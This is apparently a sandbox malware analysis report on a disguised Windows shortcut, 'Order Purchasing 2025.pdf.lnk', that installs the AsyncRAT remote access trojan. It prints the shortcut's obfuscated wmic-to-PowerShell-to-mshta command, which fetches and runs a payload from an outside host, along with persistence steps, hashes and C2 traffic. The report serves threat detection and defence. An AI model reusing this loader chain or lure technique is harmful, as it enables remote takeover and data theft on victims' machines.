File name:

Order Purchasing 2025.pdf.lnk

Full analysis: https://app.any.run/tasks/60bc081f-ab78-4f91-ba71-2772ab79f927
Verdict: Malicious activity
Threats:

AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions.

Malware Trends Tracker     >>>
Analysis date: January 05, 2025, 20:04:51
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
rat
asyncrat
remote
stealer
Indicators:
MIME: application/x-ms-shortcut
File info: MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=11, Unicoded, HasExpIcon "%ProgramFiles%\Microsoft\Edge\Application\msedge.exe" KnownFolderID 1AC14E77-02E7-4E5D-B744-2EB1AE5198B7, length=0, window=showminnoactive, IDListSize 0x0187, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\"
MD5:

09ED1E6FCA4128CD63C7665724B23001

SHA1:

D6C4EFFA6CCA4BE41D791979ADFE72A3EDAEDB02

SHA256:

8FAEF311E0849D71AF555BB55FA2EC2758D7612FED226F36A8B1841733A3CC58

SSDEEP:

24:8N8PZsx/Tff2lgKaKNEeH+/3QkWNdk6ZocWqddS9dbEQW/gK:87TXCiQEeAQldkUFdo9aQ4g

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6344)
      • powershell.exe (PID: 7164)

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 7164)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 7164)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 7164)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 7164)

    • Executing a file with an untrusted certificate

      • Audacity.exe (PID: 3288)
      • Audacity.exe (PID: 4596)
      • BtowsPlayer.exe (PID: 6856)

    • Create files in the Startup directory

      • Audacity.tmp (PID: 4816)

    • Antivirus name has been found in the command line (generic signature)

      • cmd.exe (PID: 5076)
      • tasklist.exe (PID: 6380)
      • find.exe (PID: 6800)
      • cmd.exe (PID: 6416)
      • tasklist.exe (PID: 6300)
      • find.exe (PID: 6776)
      • cmd.exe (PID: 5916)
      • tasklist.exe (PID: 6856)
      • find.exe (PID: 6472)
      • cmd.exe (PID: 6440)
      • tasklist.exe (PID: 1804)
      • find.exe (PID: 5208)
      • cmd.exe (PID: 6780)
      • tasklist.exe (PID: 7112)
      • find.exe (PID: 7164)

    • ASYNCRAT has been detected (SURICATA)

      • BtowsPlayer.exe (PID: 6856)

    • Actions looks like stealing of personal data

      • BtowsPlayer.exe (PID: 6856)

    • Changes powershell execution policy (Unrestricted)

      • mshta.exe (PID: 6712)

  • SUSPICIOUS

    • Executed via WMI

      • powershell.exe (PID: 6344)

    • The process bypasses the loading of PowerShell profile settings

      • mshta.exe (PID: 6712)

    • Executes script without checking the security policy

      • powershell.exe (PID: 7164)

    • Process drops legitimate windows executable

      • mshta.exe (PID: 6712)

    • Executable content was dropped or overwritten

      • mshta.exe (PID: 6712)
      • powershell.exe (PID: 7164)
      • Audacity.tmp (PID: 5308)
      • Audacity.exe (PID: 3288)
      • Audacity.tmp (PID: 4816)
      • Audacity.exe (PID: 4596)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 6712)
      • powershell.exe (PID: 6344)

    • Application launched itself

      • powershell.exe (PID: 6344)

    • Reads the Windows owner or organization settings

      • Audacity.tmp (PID: 5308)
      • Audacity.tmp (PID: 4816)

    • Reads security settings of Internet Explorer

      • Audacity.tmp (PID: 5308)
      • Audacity.tmp (PID: 4816)

    • Uses TIMEOUT.EXE to delay execution

      • Audacity.tmp (PID: 4816)

    • Starts CMD.EXE for commands execution

      • Audacity.tmp (PID: 4816)

    • Get information on the list of running processes

      • Audacity.tmp (PID: 4816)
      • cmd.exe (PID: 5076)
      • cmd.exe (PID: 1344)
      • cmd.exe (PID: 6416)
      • cmd.exe (PID: 5916)
      • cmd.exe (PID: 6440)
      • cmd.exe (PID: 6780)

    • Contacting a server suspected of hosting an CnC

      • BtowsPlayer.exe (PID: 6856)

    • Connects to unusual port

      • BtowsPlayer.exe (PID: 6856)

    • Probably obfuscated PowerShell command line is found

      • mshta.exe (PID: 6712)

    • Cryptography encrypted command line is found

      • powershell.exe (PID: 7164)

  • INFO

    • Reads security settings of Internet Explorer

      • WMIC.exe (PID: 2424)

    • The sample compiled with english language support

      • mshta.exe (PID: 6712)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 6712)

    • Checks proxy server information

      • mshta.exe (PID: 6712)
      • powershell.exe (PID: 7164)

    • The process uses the downloaded file

      • mshta.exe (PID: 6712)
      • powershell.exe (PID: 7164)
      • Audacity.tmp (PID: 5308)
      • Audacity.tmp (PID: 4816)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 7164)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 7164)

    • Disables trace logs

      • powershell.exe (PID: 7164)

    • Application launched itself

      • Acrobat.exe (PID: 2088)
      • AcroCEF.exe (PID: 5192)

    • Sends debugging messages

      • Acrobat.exe (PID: 4136)

    • The executable file from the user directory is run by the Powershell process

      • Audacity.exe (PID: 3288)

    • Checks supported languages

      • Audacity.exe (PID: 3288)
      • Audacity.tmp (PID: 5308)
      • Audacity.exe (PID: 4596)
      • Audacity.tmp (PID: 4816)
      • BtowsPlayer.exe (PID: 6856)

    • Create files in a temporary directory

      • Audacity.tmp (PID: 5308)
      • Audacity.exe (PID: 4596)
      • Audacity.exe (PID: 3288)
      • Audacity.tmp (PID: 4816)

    • Process checks computer location settings

      • Audacity.tmp (PID: 5308)
      • Audacity.tmp (PID: 4816)

    • Reads the computer name

      • Audacity.tmp (PID: 5308)
      • Audacity.tmp (PID: 4816)
      • BtowsPlayer.exe (PID: 6856)

    • Creates files or folders in the user directory

      • Audacity.tmp (PID: 4816)

    • Reads the machine GUID from the registry

      • BtowsPlayer.exe (PID: 6856)

    • Reads the software policy settings

      • BtowsPlayer.exe (PID: 6856)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon
FileAttributes: (none)
TargetFileSize: -
IconIndex: 11
RunWindow: Show Minimized No Activate
HotKey: (none)
TargetFileDOSName: wmic.exe
RelativePath: ..\..\..\Windows\System32\Wbem\wmic.exe
CommandLineArguments: process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://chinawoddon.co/poo')"
IconFileName: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
181
Monitored processes
51
Malicious processes
8
Suspicious processes
6

Behavior graph

Click at the process to see the details
start wmic.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs mshta.exe powershell.exe conhost.exe no specs acrobat.exe acrobat.exe no specs audacity.exe audacity.tmp audacity.exe audacity.tmp timeout.exe no specs conhost.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs acrocef.exe no specs cmd.exe no specs conhost.exe no specs tasklist.exe no specs find.exe no specs cmd.exe no specs conhost.exe no specs tasklist.exe no specs find.exe no specs cmd.exe no specs conhost.exe no specs tasklist.exe no specs find.exe no specs cmd.exe no specs conhost.exe no specs tasklist.exe no specs find.exe no specs cmd.exe no specs conhost.exe no specs tasklist.exe no specs find.exe no specs cmd.exe no specs conhost.exe no specs tasklist.exe no specs find.exe no specs #ASYNCRAT btowsplayer.exe acrocef.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1344"cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH | find /I "opssvc.exe"C:\Windows\System32\cmd.exe—Audacity.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
1668"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=renderer --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --touch-events=enabled --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=2796 --field-trial-handle=1672,i,7837572547385608067,13758310634196794761,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:1C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
1804tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH C:\Windows\System32\tasklist.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Lists the current running tasks
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\tasklist.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
2088"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\admin\AppData\Roaming\po.pdf"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
powershell.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
MEDIUM
Description:
Adobe Acrobat
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrobat.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
2424"C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://chinawoddon.co/poo')"C:\Windows\System32\wbem\WMIC.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
WMI Commandline Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\wbem\wmic.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\framedynos.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
2548\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3288"C:\Users\admin\AppData\Roaming\Audacity.exe" C:\Users\admin\AppData\Roaming\Audacity.exe
powershell.exe
User:
admin
Company:
Audacity Team
Integrity Level:
MEDIUM
Description:
Audacity 3.7.1 Setup
Exit code:
1
Version:
3.7.1.0
Modules
Images
c:\users\admin\appdata\roaming\audacity.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\comctl32.dll
c:\windows\syswow64\advapi32.dll
3612\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—WMIC.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3612"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=renderer --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --first-renderer-process --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --touch-events=enabled --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2312 --field-trial-handle=1672,i,7837572547385608067,13758310634196794761,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:1C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe—AcroCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe AcroCEF
Version:
23.1.20093.0
Modules
Images
c:\program files\adobe\acrobat dc\acrobat\acrocef_1\acrocef.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
3688\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
35 070
Read events
34 962
Write events
106
Delete events
2

Modification events

(PID) Process:(6712) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6712) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6712) mshta.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(4136) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\ExitSection
Operation:writeName:bLastExitNormal
Value:
0
(PID) Process:(7164) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pdf\OpenWithProgids
Operation:writeName:Acrobat.Document.DC
Value:
(PID) Process:(2088) Acrobat.exeKey:HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2034283098-2252572593-1072577386-2659511007-3245387615-27016815-3920691934
Operation:writeName:DisplayName
Value:
Adobe Acrobat Reader Protected Mode
(PID) Process:(4136) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVEntitlement
Operation:writeName:sProductGUID
Value:
4143524F5F5245534944554500
(PID) Process:(4136) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVEntitlement
Operation:writeName:bSynchronizeOPL
Value:
0
(PID) Process:(4136) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVGeneral
Operation:writeName:uLastAppLaunchTimeStamp
Value:
940726416
(PID) Process:(4136) Acrobat.exeKey:HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\AVGeneral
Operation:writeName:iNumAcrobatLaunches
Value:
7
Executable files
8
Suspicious files
186
Text files
16
Unknown types
0

Dropped files

PID
Process
Filename
Type
6344powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_wdtfxbkx.ypo.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6712mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711Ebinary
MD5:EB6C6F8B309870589593548E90218E01
SHA256:D4F3BA02372728E6C1ED9D59D2BDB385D2A07DE25109FE0A9452720F9DB1C4DE
6616powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0ceidnvv.oyq.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6344powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_lovxs1kt.ift.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6712mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\poo[1]executable
MD5:F2401144C76F7C36F40FCB93053C4774
SHA256:601B01C913419C0A8778C6AD7C8D97134414B00C225FAA92D32AF4DD8127B477
6712mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711Ebinary
MD5:665F6B487B9D55A0292CB77CD5C797DF
SHA256:EADBEF8DE4207DEEB94528ED28C7427F9EE97776B384EC3C1C4B47B8DA7366C7
6712mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C2C5FBE3D8BFECB0F120CDF441E727EFbinary
MD5:5C35CBF6B36CD4D72C407233C14149CF
SHA256:D677F70E5F1B52EEE43FC4921402C4DCA307DC57E3DCDFA78933568B8E5AC765
6712mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850Dbinary
MD5:3C22A1EED1CE0E604EFA2CA75DEF849C
SHA256:13D2A0AAEB88C329BDCB5261C99240898AD74CF066629D955EE6EC31CC2E9A01
6712mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850Dbinary
MD5:C10A730C4502B68329D6659FC70C534D
SHA256:24F0C0FE08B9002A3DDA2990921D6FC6CB058ACCCAE70D013E9641B49439BD64
7164powershell.exeC:\Users\admin\AppData\Roaming\po.pdfpdf
MD5:B3A51D7BF19ABE1A17F9713A6AFC8788
SHA256:0263825550546B3A7216DE5B258E3EEAB3899ACFBBEBC95D3D5C4800BCA24427
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
11
TCP/UDP connections
44
DNS requests
25
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
1176
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
6712
mshta.exe
GET
200
172.64.149.23:80
http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTNMNJMNDqCqx8FcBWK16EHdimS6QQUU3m%2FWqorSs9UgOHYm8Cd8rIDZssCEH1bUSa0droR23QWC7xTDac%3D
unknown
—
—
whitelisted
6712
mshta.exe
GET
200
104.18.38.233:80
http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTtU9uFqgVGHhJwXZyWCNXmVR5ngQUoBEKIz6W8Qfs4q8p74Klf9AwpLQCEDlyRDr5IrdR19NsEN0xNZU%3D
unknown
—
—
whitelisted
6712
mshta.exe
GET
200
104.18.38.233:80
http://ocsp.sectigo.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRDC9IOTxN6GmyRjyTl2n4yTUczyAQUjYxexFStiuF36Zv5mwXhuAGNYeECEQCDIiD%2FYUK4qPEIgSWrZw77
unknown
—
—
whitelisted
2164
svchost.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
2164
svchost.exe
GET
200
23.48.23.173:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6216
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
2088
Acrobat.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAbY2QTVWENG9oovp1QifsQ%3D
unknown
—
—
whitelisted
2356
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4712
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
192.168.100.255:137
—
—
—
whitelisted
2164
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6076
RUXIMICS.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5064
SearchApp.exe
104.126.37.171:443
www.bing.com
Akamai International B.V.
DE
whitelisted
—
—
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
1176
svchost.exe
20.190.159.23:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1176
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
1076
svchost.exe
23.35.238.131:443
go.microsoft.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 20.73.194.208
  • 40.127.240.158
whitelisted
google.com
  • 142.250.185.174
whitelisted
www.bing.com
  • 104.126.37.171
  • 104.126.37.163
  • 104.126.37.153
  • 104.126.37.186
  • 104.126.37.177
  • 104.126.37.136
  • 104.126.37.178
  • 104.126.37.176
  • 104.126.37.123
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
login.live.com
  • 20.190.159.23
  • 20.190.159.4
  • 40.126.31.67
  • 20.190.159.0
  • 40.126.31.69
  • 20.190.159.68
  • 20.190.159.71
  • 20.190.159.75
whitelisted
go.microsoft.com
  • 23.35.238.131
whitelisted
chinawoddon.co
  • 66.29.132.84
unknown
ocsp.comodoca.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted
ocsp.usertrust.com
  • 172.64.149.23
  • 104.18.38.233
unknown
ocsp.sectigo.com
  • 104.18.38.233
  • 172.64.149.23
whitelisted

Threats

PID
Process
Class
Message
6856
BtowsPlayer.exe
Domain Observed Used for C2 Detected
ET MALWARE Generic AsyncRAT Style SSL Cert
6856
BtowsPlayer.exe
Malware Command and Control Activity Detected
REMOTE [ANY.RUN] AsyncRAT Successful Connection
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Order Purchasing 2025.pdf.lnk